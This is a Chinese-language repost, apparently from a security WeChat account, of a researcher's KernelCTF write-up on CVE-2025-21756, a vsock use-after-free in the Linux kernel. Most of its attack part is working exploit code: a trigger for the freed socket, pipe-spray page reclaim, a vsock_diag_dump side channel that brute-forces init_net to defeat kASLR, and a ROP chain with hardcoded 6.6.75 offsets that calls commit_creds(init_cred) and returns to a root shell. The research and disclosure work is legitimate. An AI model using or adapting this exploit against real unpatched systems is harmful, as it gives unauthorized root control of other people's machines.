文章讲的是Linux内核的一个漏洞,CVE-2025-21756,名字还挺酷,叫“Attack of the Vsock”。这个漏洞其实是个Use-After-Free问题,存在于vsock子系统里,主要是因为引用计数处理得不好,导致攻击者能直接提权到root,拿到系统控制权。作者在文章里详细讲了咋利用这个漏洞,包括怎么绕过AppArmor和kASLR,还用ROP链搞定了代码执行,最后在Linux 6.6.75上拿到了root shell。说实话,这种漏洞挺让人头疼的,Linux内核安全一直是个老大难问题,类似的UAF漏洞之前也见过不少。这篇文章写得挺实在的,感兴趣的朋友可以看看
一开始只是随意浏览KernelCTF提交的内容,但很快就演变成长达数周的深入研究,研究一个看似简单的补丁 - 以及我第一次从 Linux 内核漏洞中获得 root shell!
在浏览公开的提交电子表格时,我看到了一个有趣的条目:exp237。这个漏洞补丁看起来非常简单,我惊讶于一位研究人员竟然能够利用它进行权限提升。于是,我开始了一段可能会降低我的GPA,甚至偶尔让我怀疑自己是否理智的旅程:我的第一个Linux内核漏洞利用!
设置环境
在开始深入开发漏洞利用程序之前,我们需要搭建一个良好的 Linux 内核调试环境。我决定使用QEMU,并结合midas 的精彩文章和 bata 的gdb 内核扩展脚本。我选择从 Linux 内核 6.6.75 开始,因为它与其他研究人员正在利用的版本接近。实际上,我在 WSL 中完成了整个项目,这样我就可以在学校的 Windows 电脑上编写漏洞利用程序了!
补丁分析
从下面的补丁中可以看出,修复仅涉及几行代码。从代码和说明来看,传输重新分配可以触发vsock_remove_sock,从而调用 ,vsock_remove_bound从而错误地减少 vsock 对象上的引用计数器(如果套接字一开始就未绑定)。
当内核中某个对象的引用计数器达到零时,该对象将被释放到其各自的内存管理器。理想情况下,在释放 vsock 对象后,我们将能够触发某种释放后使用 (UAF) 漏洞,以获得更好的原始权限并提升权限。
--- a/net/vmw_vsock/af_vsock.c+++ b/net/vmw_vsock/af_vsock.c@@ -337,7 +337,10 @@ EXPORT_SYMBOL_GPL(vsock_find_connected_socket); void vsock_remove_sock(struct vsock_sock *vsk) {- vsock_remove_bound(vsk);+ /* Transport reassignment must not remove the binding. */+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))+ vsock_remove_bound(vsk);+ vsock_remove_connected(vsk); } EXPORT_SYMBOL_GPL(vsock_remove_sock);@@ -821,12 +824,13 @@ static void __vsock_release(struct sock *sk, int level) */ lock_sock_nested(sk, level);+ sock_orphan(sk);+if (vsk->transport) vsk->transport->release(vsk);elseif (sock_type_connectible(sk->sk_type)) vsock_remove_sock(vsk);- sock_orphan(sk); sk->sk_shutdown = SHUTDOWN_MASK; skb_queue_purge(&sk->sk_receive_queue);
除了这个补丁之外,维护人员还为该漏洞添加了一个测试用例,这对于启动漏洞利用非常有用。
#define MAX_PORT_RETRIES 24 /* net/vmw_vsock/af_vsock.c */#define VMADDR_CID_NONEXISTING 42/* Test attempts to trigger a transport release for an unbound socket. This can * lead to a reference count mishandling. */staticvoidtest_seqpacket_transport_uaf_client(const struct test_opts *opts){int sockets[MAX_PORT_RETRIES];structsockaddr_vmaddr;int s, i, alen; s = vsock_bind(VMADDR_CID_LOCAL, VMADDR_PORT_ANY, SOCK_SEQPACKET); alen = sizeof(addr);if (getsockname(s, (struct sockaddr *)&addr, &alen)) { perror("getsockname");exit(EXIT_FAILURE); }for (i = 0; i < MAX_PORT_RETRIES; ++i) sockets[i] = vsock_bind(VMADDR_CID_ANY, ++addr.svm_port, SOCK_SEQPACKET); close(s); s = socket(AF_VSOCK, SOCK_SEQPACKET, 0);if (s < 0) { perror("socket");exit(EXIT_FAILURE); }if (!connect(s, (struct sockaddr *)&addr, alen)) {fprintf(stderr, "Unexpected connect() #1 successn");exit(EXIT_FAILURE); }/* connect() #1 failed: transport set, sk in unbound list. */ addr.svm_cid = VMADDR_CID_NONEXISTING;if (!connect(s, (struct sockaddr *)&addr, alen)) {fprintf(stderr, "Unexpected connect() #2 successn");exit(EXIT_FAILURE); }/* connect() #2 failed: transport unset, sk ref dropped? */ addr.svm_cid = VMADDR_CID_LOCAL; addr.svm_port = VMADDR_PORT_ANY;/* Vulnerable system may crash now. */ bind(s, (struct sockaddr *)&addr, alen); close(s);while (i--) close(sockets[i]); control_writeln("DONE");}
最初的想法
由于这是一个UAF漏洞,我最初的想法是尝试跨缓存攻击。我的大致计划如下……
-
触发 vsock 对象的任意释放
-
使用一些用户控制的对象来回收页面,例如msg_msg
-
破坏 vsock 对象中的某些函数指针以获取代码执行
我们陷入恐慌!
在我的虚拟机上稍微修改并运行测试代码(参见crash.c),结果竟然导致了如下所示的内核崩溃!经过一番调试,我们发现 vsock 对象虽然被释放了,但实际上仍然链接到了vsock_bind_table。太棒了!
当 AppArmor 在回收套接字上执行 bind() 调用期间取消引用 NULL sk_security 指针时,就会发生恐慌。这证实了 UAF 的存在,并凸显了 LSM 钩子带来的障碍(见下文)。
障碍#1:AppArmor + LSM
我们遇到的第一个主要障碍是 AppArmor。这是上面调用栈中看到的内核调用security_socket_bind和 的地方aa_sk_perm。这security_socket_*两个函数是 Linux 安全模块 (LSM) 钩子,它会调用 AppArmor。那么,我们的套接字是如何通过 AppArmor 安全检查的呢?
调查问题,显然__sk_destruct调用sk_prot_free,而 调用security_sk_free。因此,当我们触发漏洞以减少 refcnt 并且 vsock 被释放时,sk->sk_security指针将被清零。
/** * security_sk_free() - Free the sock's LSM blob * @sk: sock * * Deallocate security structure. */void security_sk_free(struct sock *sk){ call_void_hook(sk_free_security, sk); kfree(sk->sk_security); sk->sk_security = NULL;}
但是当我们调用 时security_socket_bind,AppArmor 函数会取消引用这个sk->sk_security结构体。更糟糕的是,几乎每个套接字函数似乎都有一个 LSM 对应函数。简而言之:内核赋予我们一个指向套接字的悬空指针——但 AppArmor 确保我们在使用它做任何有用的事情之前就崩溃了。那么,如果我们甚至无法用回收的套接字调用任何有用的函数,我们又该如何进行 UAF 攻击呢?
gef> p security_socket_*security_socket_accept security_socket_getpeername security_socket_bind security_socket_getpeersec_dgram security_socket_connect security_socket_getpeersec_stream security_socket_create security_socket_getsockname security_socket_getsockopt security_socket_sendmsgsecurity_socket_listen security_socket_setsockoptsecurity_socket_post_create security_socket_shutdownsecurity_socket_recvmsg security_socket_socketpair
我们有两个主要选择。
-
伪造指向虚假对象的 sk_security 指针
-
找到一些不受 apparmor 保护的函数
我决定首先探索选项#2。
我首先关注的是找到一种方法来泄露一些地址。一些“显而易见”的选择是像getsockopt或 这样的函数getsockname,但这些函数都受到 apparmor 的保护。浏览源代码时,我偶然发现了这个vsock_diag_dump功能。这是一个非常有趣的函数,因为它不受 apparmor 的保护。代码如下所示。
staticintvsock_diag_dump(struct sk_buff *skb, struct netlink_callback *cb){// ... snip .../* Bind table (locally created sockets) */if (table == 0) {while (bucket < ARRAY_SIZE(vsock_bind_table)) {structlist_head *head = &vsock_bind_table[bucket]; i = 0; list_for_each_entry(vsk, head, bound_table) {structsock *sk = sk_vsock(vsk);if (!net_eq(sock_net(sk), net))continue;if (i < last_i)goto next_bind;if (!(req->vdiag_states & (1 << sk->sk_state)))goto next_bind;if (sk_diag_fill(sk, skb, NETLINK_CB(cb->skb).portid, cb->nlh->nlmsg_seq, NLM_F_MULTI) < 0)goto done;next_bind: i++; } last_i = 0; bucket++; } table++; bucket = 0; }// ... snip ...}
由于我们释放的套接字仍然在绑定表中,因此只有两项检查可以防止我们从套接字中转储任何信息。前一项sk->sk_state检查很容易通过(不需要任何泄漏),但后一项sk_net检查似乎更难。我们如何才能伪造一个sk->__sk_common->skc_net指针而不发生 kASLR 泄漏?我在这方面被困了大约一周,但多亏了 discord 社区的帮助,我才得以克服这个难题!
Diag Dump Sidechannel 的乐趣与收益
陷入困境后,我求助于 kernelctf 社区,并在 discord 上分享了上述检查方法。几乎立刻,@h0mbre 就回复了我,建议暴力破解skc_net指针,本质上就是利用vsock_diag_dump侧信道攻击!太棒了🤯!
所以总而言之,我们做以下事情来泄漏init_net...
-
喷水管道回收 UAF 插座的页面
-
使用受控值逐个 QWORD 地填充每个管道缓冲区
-
使用 vsock_diag_dump() 作为侧通道来检测我们覆盖的结构是否“足够有效”以绕过过滤
-
一旦 vsock_diag_dump() 停止报告我们的套接字,我们就知道我们损坏了 skc_net
-
然后,我们强制执行 init_net 的低位,直到套接字再次被接受 - 从而实现完全的 kASLR 绕过
@h0mbre 建议使用管道支持页面,事实证明它比msg_msg我之前使用的对象更加稳定/易用。经过一番努力,我成功地编写了以下代码来泄漏sk_net指针。
int junk[FLUSH];for (int i = 0; i < FLUSH; i++) junk[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);puts("[+] pre alloc sockets");int pre[PRE];for (int i = 0; i < PRE; i++) pre[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);// ... snip ... (alloc target & trigger uaf)puts("[+] fill up the cpu partial list");for (int i = 4; i < FLUSH; i += OBJS_PER_SLAB)close(junk[i]);puts("[+] free all the pre/post alloc-ed objects");for (int i = 0; i < POST; i++)close(post[i]);for (int i = 0; i < PRE; i++)close(pre[i]);
对象的预分配和后分配确保整个页面实际上被返回给伙伴分配器(参见此文)。下面是实际查找指针的代码skc_net。
int pipes[NUM_PIPES][2];char page[PAGE_SIZE];memset(page, 2, PAGE_SIZE); // skc_state must be 2puts("[+] reclaim page");int w = 0;int j;i = 0;while (i < NUM_PIPES) { sleep(0.1);if (pipe(&pipes[i][0]) < 0) { perror("pipe");break; }printf("."); fflush(stdout); w = 0;while (w < PAGE_SIZE) {ssize_t written = write(pipes[i][1], page, 8); j = query_vsock_diag(); w += written;if (j != 48) goto out; } i++;if (i % 32 == 0) puts("");}
如你所见,这段代码只是不断创建新的管道,并一次填充一个 QWORD(0x0202020202020202 以满足skc_state),直到vsock_diag_dump不再找到目标套接字。这意味着我们已经覆盖了skc_net。一旦我们真正覆盖了指针,我们只需要以相同的方式暴力破解地址的低 32 位即可。
long base = 0xffffffff84bb0000; // determined through experimentationlong off = 0;long addy;printf("[+] attempting net overwrite (aslr bypass).n");while (off < 0xffffffff) { close(pipes[i][0]); close(pipes[i][1]);if (pipe(&pipes[i][0]) < 0) { perror("pipe"); } addy = base + off; write(pipes[i][1], page, w - 8); write(pipes[i][1], &addy, 8);if (off % 256 == 0) {printf("+"); fflush(stdout); } j = query_vsock_diag();if (j == 48) {printf("n[*] LEAK init_net @ 0x%lxn", base + off);goto out2; } off += 128;}
通过skc_net覆盖,我们一举两得。我们绕过了 kASLR,并找到了 vsock 对象中已知的偏移量。
现在剩下的就是找到一种可靠的方法来重定向执行流......
控制 RIP
为了控制指令指针,我采用了该vsock_release函数,因为它是少数不受 apparmor 保护的 vsock 功能之一。
static int vsock_release(struct socket *sock){ struct sock *sk = sock->sk;if (!sk)return0; sk->sk_prot->close(sk, 0); __vsock_release(sk, 0); sock->sk = NULL; sock->state = SS_FREE;return0;}
我们最感兴趣的是对 的调用sk->sk_prot->close(sk, 0)。由于我们控制 sk,所以我们需要一个指向函数 的有效指针。这让我困惑了一段时间,直到我开始考虑使用其他有效的原型对象。我发现raw_proto有一个指向如下所示的中止函数的指针。
intraw_abort(struct sock *sk, int err){ lock_sock(sk); sk->sk_err = err; sk_error_report(sk); __udp_disconnect(sk, 0); release_sock(sk);return0;}
voidsk_error_report(struct sock *sk){ sk->sk_error_report(sk);switch (sk->sk_family) {case AF_INET: fallthrough;case AF_INET6: trace_inet_sk_error_report(sk);break;default:break; }}
下面是覆盖之后 vsock 状态的清晰可视化。
sk->sk_prot --> &raw_proto ↳ .close = raw_abort ↳ sk->sk_error_report(sk) → *stackivot*
long kern_base = base + off - 0x3bb1f80;printf("[*] leaked kernel base @ 0x%lxn", kern_base);// calculate some rop gadgetslong raw_proto_abort = kern_base + 0x2efa8c0;long null_ptr = kern_base + 0x2eeaee0;long init_cred = kern_base + 0x2c74d80;long pop_r15_ret = kern_base + 0x15e93f;long push_rbx_pop_rsp_ret = kern_base + 0x6b9529;long pop_rdi_ret = kern_base + 0x15e940;long commit_creds = kern_base + 0x1fcc40;long ret = kern_base + 0x5d2;// info for returning to usermodelong user_cs = 0x33;long user_ss = 0x2b;long user_rflags = 0x202;long shell = (long)get_shell;uint64_t* user_rsp = (uint64_t*)get_user_rsp();// return to user modelong swapgs_restore_regs_and_return_to_usermode = kern_base + 0x16011a6;//getchar();printf("[+] writing the rop chainn");close(pipes[i][0]);close(pipes[i][1]);if (pipe(&pipes[i][0]) < 0) {perror("pipe");}printf("[+] writingpayloadtovskn");write(pipes[i][1], page, w-56);charbuf[0x330];memset(buf, 'A', 0x330);charnot[0x330];memset(not, 0, 0x330);// createtheropchain!write(pipes[i][1], &pop_rdi_ret, 8); // stackpivottargetwrite(pipes[i][1], &init_cred, 8);write(pipes[i][1], &ret, 8); write(pipes[i][1], &ret, 8);write(pipes[i][1], &pop_r15_ret, 8); // junkwrite(pipes[i][1], &raw_proto_abort, 8); // sk_prot (callssk->sk_error_report())write(pipes[i][1], &ret, 8);write(pipes[i][1], &commit_creds, 8); // commit_creds(init_cred);write(pipes[i][1], &swapgs_restore_regs_and_return_to_usermode, 8);write(pipes[i][1], &null_ptr, 8); // raxwrite(pipes[i][1], &null_ptr, 8); // rdiwrite(pipes[i][1], &shell, 8); // ripwrite(pipes[i][1], &user_cs, 8);write(pipes[i][1], &user_rflags, 8);write(pipes[i][1], user_rsp, 8); // rspwrite(pipes[i][1], &user_ss, 8);write(pipes[i][1], buf, 0x18);write(pipes[i][1], ¬, 8); // sk_lockwrite(pipes[i][1], ¬, 8); // sk_lockwrite(pipes[i][1], &null_ptr, 8); // sk_lockwrite(pipes[i][1], &null_ptr, 8); // sk_lockwrite(pipes[i][1], buf, 0x200);write(pipes[i][1], &push_rbx_pop_rsp_ret, 8); // stack pivot [sk_error_report()]//getchar();close(s); // trigger the exploit!
该漏洞的最终源代码发布在这里https://github.com/hoefler02/CVE-2025-21756/blob/main/x.c。该漏洞还可以更加可靠和优雅,但作为我的第一个内核破解者,我已经很满意了!
谢谢你!
对于一个只涉及几行补丁代码的漏洞来说,这段旅程让我对内核的了解远超预期!如果没有#kernelctf discord 频道上所有超级好心的黑客们的帮助,我永远也完成不了这次漏洞利用!谢谢大家!祝你破解愉快!
原文始发于微信公众号(Ots安全):Linux内核漏洞利用CVE-2025-21756:Vsock 攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论